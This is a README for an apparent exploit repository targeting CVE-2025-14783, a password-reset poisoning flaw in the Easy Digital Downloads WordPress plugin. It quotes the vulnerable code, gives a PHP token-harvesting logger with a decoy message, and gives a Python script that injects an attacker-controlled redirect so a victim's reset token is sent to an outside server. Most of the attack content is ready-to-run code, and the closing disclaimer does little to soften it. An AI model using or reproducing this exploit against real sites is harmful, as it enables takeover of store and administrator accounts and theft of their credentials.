
🧨 CVE-2025-14783: Easy Digital Downloads Account Takeover PoC
"Trust is the most exploitable security flaw."
This repository contains a functional Proof of Concept (PoC) for CVE-2025-14783, a critical Password Reset Poisoning vulnerability in the Easy Digital Downloads (EDD) plugin for WordPress (versions <= 3.6.2).
Due to a lack of validation in the edd_redirect parameter during the password reset request process, an unauthenticated remote attacker can inject a malicious domain. This causes the legitimate email sent by the store to contain a reset link pointing to the attacker's server, leaking the access token (key) and allowing a full Account Takeover (ATO), even of administrator accounts.
The flaw resides in the function that builds the reset URL inside the email. The vulnerable code uses esc_url_raw() to "sanitize" the input, but does not validate the target host.
// The developer trusted that esc_url_raw was enough security... fatal mistake.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- INJECTION POINT
),
$message
);
By controlling $_POST['edd_redirect'], we control the base of the generated URL.
requests lib (pip install requests)Upload the following PHP script (logger.php) to your malicious server to intercept victims' tokens.
<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // Basic social engineering
}
?>
Edit the exploit.py script with your targets and run it.
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURATION
TARGET_URL = "http://vulnerable-shop.com/" # Store root URL
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://your-malicious-server.com/logger.php"
def poison_reset_link():
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Victim: {VICTIM_EMAIL}")
print(f"[*] Poisoning link with: {ATTACKER_HOST}")
# Payload to inject the redirect
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Send the request to the main endpoint (or wherever EDD listens for POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] Success! Poisoned email sent.")
print("[*] Now wait for the victim to click the link in the email.")
print("[*] Check 'loot.txt' on your server for the token.")
else:
print(f"[-] Failed. Status code: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
poison_reset_link()
| Confidentiality | Integrity | Availability |
|---|---|---|
| HIGH 🟥 | HIGH 🟥 | LOW 🟩 |
A successful attacker can:
This software is provided ONLY for educational and security research purposes.
The author (ZeroEthical) is not responsible for any misuse of this information.
Attacking targets without prior written consent is illegal and may result in severe legal action.
Use it at your own risk in controlled environments.
Powered by ZeroEthical
"We don't fix vulnerabilities, we demonstrate them."